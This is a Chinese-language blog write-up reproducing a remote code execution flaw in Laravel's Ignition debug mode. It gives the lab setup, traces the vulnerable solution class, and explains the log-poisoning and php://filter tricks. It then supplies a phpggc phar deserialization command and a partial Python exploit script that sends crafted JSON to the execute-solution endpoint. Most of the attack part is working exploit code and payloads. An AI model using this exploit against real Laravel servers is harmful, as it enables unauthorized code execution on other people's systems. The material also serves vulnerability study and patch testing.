laravel Remote code execute on debug mode复现
2021-1-12
号,看到国外的师傅,挖了个laravel的命令执行,而且还用了两种方法, 感觉第一种方法姿势是真的妙,赶紧复现来学习一波。
获取代码
$ git clone https://github.com/laravel/laravel.git
$ cd laravel
$ git checkout e849812
$ composer install
$ composer require facade/ignition==2.5.1
$ php artisan serve
需要版本>7.3
打开laravel的debug mode
可以看到需要我们生成一个app_key
生成app_key
然后我们把根目录的
.env.example
复制一份,加上我们的key 生成一下app_key
然后返回网站点击一下生成Generate app key再刷新一下就正常了
正常访问
这里在
resources\views
中添加一个自定的view
evil.blade.php
内容如下
DOCTYPE html>
<html lang="{{ str_replace('_', '-', app()->getLocale()) }}">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
Evil
<body class="antialiased">
<div id="evil">
{{$username }}
Mrkaixin-evil
接着配置路由,在
routes\web.php
中添加如下内容:
Route::get('/evil', function () {
return view('evil');
});
浏览器访问:
http://your_ip/public/evil
访问可得
在调试模式下,
Ignition
会教如何修正这个错误,由于这个
$username
没有被定义,所以他的解决方法是将
$username
替换成
$username ?? ''
这里点击
Make variabel optionnal
他就会自动修正这个错误。
一共有如下钟solution
我们同burp抓下这个包。
json格式如下: solution: 表示解决这个方法的类 valirabelName: 变量名 viewFile:变量名所在的视图文件
这个操作相关的类在
src\SolutionProviders\SolutionProviderRepository.php
之中 下个断点
通过跟进调试,可以发现solution都是通过ExecuteSolutionController来执行各自的run方法 $solution->get
所以我们跟进一下这个
MakeViewVariableOptionalSolution.php
可以看到他从可控的参数中获取到了值
接着跟进
makeOptional
方法 读取再写入
这里可以看到其实就是一个从文件中取出来,修改之后写进去的逻辑。但是并不是任意文件可写的,代码中做了一个预期token的设定。 当我们的修改没有大于这个预期值的时候,就可以直接将内容写进去。
之前再挖Laminas的时候,写入shell的思路和这个基本相似,先从文件中读取,然后替换后再吧可控的内容写进去。 但是这一题情况有些不一样,这题允许写入的文件种类有: 1. view模板中出现未定定义的变量(正常solution) 2. 本身就存在的文件。(但是其实上能做到的,最多是破坏整个文件,无法添加我们想要的内容) 3. 日志文件(当laravel报错之后,会默认将报错写入
storage\logs\laravel.log
中。)
第三种情况如下:
读取不存在的文件Mrkaixin
日志中的表现如下
这样,如果我们特意利用
file_get_contens
来读取一个不存在的文件(payload)的话,系统就会自动将我们的payload写入到日志中。 那么这样,整个日志中就有我们可以控制的内容出现。
利用
log文件不会被当做php文件解析,所以就算能写进去又能怎样了?这时候自然想到了phar文件,因为phar文件标准是,是否携带了正常的头部。而不是根据后缀名。
所以如果我们可以将整个log文件控制成一个phar文件的话,那么我们再利用
file_get_contents('phar:///var/www/html/storage/logs/laravel.log/test.txt')
即可触发对应的反序列化文件。
清空日志文件
这里利用的是php://filter中的baes64过滤器的一个特性
$str = "!....!....!...".base64_encode("mrkaixin")."!....!....!...";
echo file_get_contents('php://filter/read=convert.base64-decode/resource=data:,'.$str);
output:
mrkaixin[Finished in 0.2s]
这里我们可以看到,这个直接输出了
mrkaixin
,自动去除了一些符号。所以我们这里可以利用这个方法来将日志中的一些符号去除掉,但是仍然会留下一部分字符,这样的文件也是不够纯净的。
所以需要,尽量把之前的所有内容,都转化成为一个个符号,最后通过base64过滤器,一并清除掉。
这里原作者利用的是utf-16->utf-8来达到这个效果的。可以看以下这个demo
$payload = base64_encode("mrkaixin");
$data = "fake".iconv('utf-8','utf-16le',$payload)."mrkaixin";
$temp = file_get_contents('php://filter/read=convert.iconv.utf-16le.utf-8/resource=data:;base64,'.base64_encode($data))."\n";
echo file_get_contents('php://filter/read=convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=data:;base64,'.base64_encode($data));
output:
mrkaixin
这里可以看到payload前后的所有字符都被清除了。
printable.encode过滤器
这样我们就可以往日志文件中写入任意文件了。但是这样我们并不好在传输,存在很多不可见字符。
所以我们看样套一层过滤器,
convert.quoted-printable-encode
。php脚本如下:
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
fwrite($fp, iconv('utf-8','utf-16le',base64_encode("Mrkaixin")));
这样我们得到data:
T=00X=00J=00r=00Y=00W=00l=004=00a=00W=004=00=3D=00
那么写一个脚本来验证一下是否能写进去。
注意: 1. 在写入的过程中,由于字符数量不满足,
printable-decode
的要求,会导致
convert.quoted-printable-decode
报错,我们可以在生成的payload前添加几个点。 2. 为了保证整个日志所有的字符数量为偶数,先发送一个包来满足这个需求。
phar反序列化
由于laravel的日志系统使用的是
monolog
,
所以这个部分,可以参考phpggc中的链子
monolog-rce1
。
这里我们使用 gcc来构造一下就行了。这里直接贴原作者的shell命令了
php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | sed -E 's/./\0=00/g'
(之后有时间在更新这个部分。)
验证脚本
最后整合到我们的脚本当中来
import requests
target_url = "http://localhost:85/public/index.php/_ignition/execute-solution"
session = requests.Session()
def clean_cache():
flag = 0
while True:
if get_log_length()==0:
flag=1
print("[+] 缓存已被清除")
return True
if flag ==0:
rawBody = "{\"solution\":\"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\",\"parameters\":{\"variableName\":\"username\",\"viewFile\":\"php://filter/write=convert.base64-decode|convert.base64-decode/resource=/var/www/html/storage/logs/laravel.log\"}}"
headers = { "Accept": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Connection": "close", "Sec-Fetch-Mode": "cors", "Content-Type": "application/json"}
session.post(target_url, data=rawBody, headers=headers)
print("[*]清除缓存")
l = get_log_length()
if l==0:
flag = 1
print("[+] 缓存已被清除")
return True
else:
print("[!] " +str(l)+"缓存未被清除")
def get_log_length():
return len(session.get("http://localhost:85/storage/logs/laravel.log").content)
def trigger_poc():
rawBody = "{\"solution\":\"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\",\"parameters\":{\"variableName\":\"username\",\"viewFile\":\"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/var/www/html/storage/logs/laravel.log\"}}"
headers = { "Accept": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Connection": "close", "Sec-Fetch-Mode": "cors", "Content-Type": "application/json"}
session.post(target_url, data=rawBody, headers=headers)
def send_poc1():
poc = "AA"
rawBody = "{\"solution\":\"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\",\"parameters\":{\"variableName\":\"username\",\"viewFile\":\"%s\"}}"%poc
headers = { "Accept"